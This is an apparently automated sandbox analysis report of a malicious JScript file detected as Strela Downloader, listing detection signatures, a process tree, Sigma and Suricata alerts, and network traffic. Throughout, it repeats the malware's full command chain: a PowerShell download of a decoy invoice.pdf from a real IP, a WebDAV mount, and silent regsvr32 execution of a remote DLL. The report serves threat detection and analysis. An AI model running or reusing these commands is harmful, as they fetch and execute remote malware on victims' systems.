Edit tour

Windows Analysis Report
2640024673100216355.js

Overview

General Information

Sample name:	2640024673100216355.js
Analysis ID:	1588303
MD5:	4ee0add0da124377bd731858ff9f1114
SHA1:	015cd918743d667a99c7f4cd9f6b8984c3603c8f
SHA256:	b529c13318bec0fcc9a343ef924440807392c81bbfa440d69e818c91d7bf59b6
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2732 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2640024673100216355.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6964 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5088 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3968 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1916 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1340 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1684,i,17893435023047788121,3099982242300101313,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 1404 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 3196 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 2084 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2732	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6964, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5088, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6964, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5088, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2640024673100216355.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2640024673100216355.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2640024673100216355.js", ProcessId: 2732, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 3196, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49711

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2640024673100216355.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2732, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, ProcessId: 6964, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2640024673100216355.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2732, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, ProcessId: 6964, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2640024673100216355.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2732, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, ProcessId: 6964, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2640024673100216355.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2732, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, ProcessId: 6964, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2640024673100216355.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2732, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, ProcessId: 6964, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2640024673100216355.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2640024673100216355.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2640024673100216355.js", ProcessId: 2732, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6964, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5088, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1404, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3196, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2084, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1404, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3196, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2640024673100216355.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2732, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll, ProcessId: 6964, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:44:44.680612+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:44:42.152787+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49709	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2640024673100216355.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2640024673100216355.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49711 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:44:42 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: global traffic

TCP traffic: 192.168.2.6:49711 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49709 -> 193.143.1.205:80

Source: global traffic

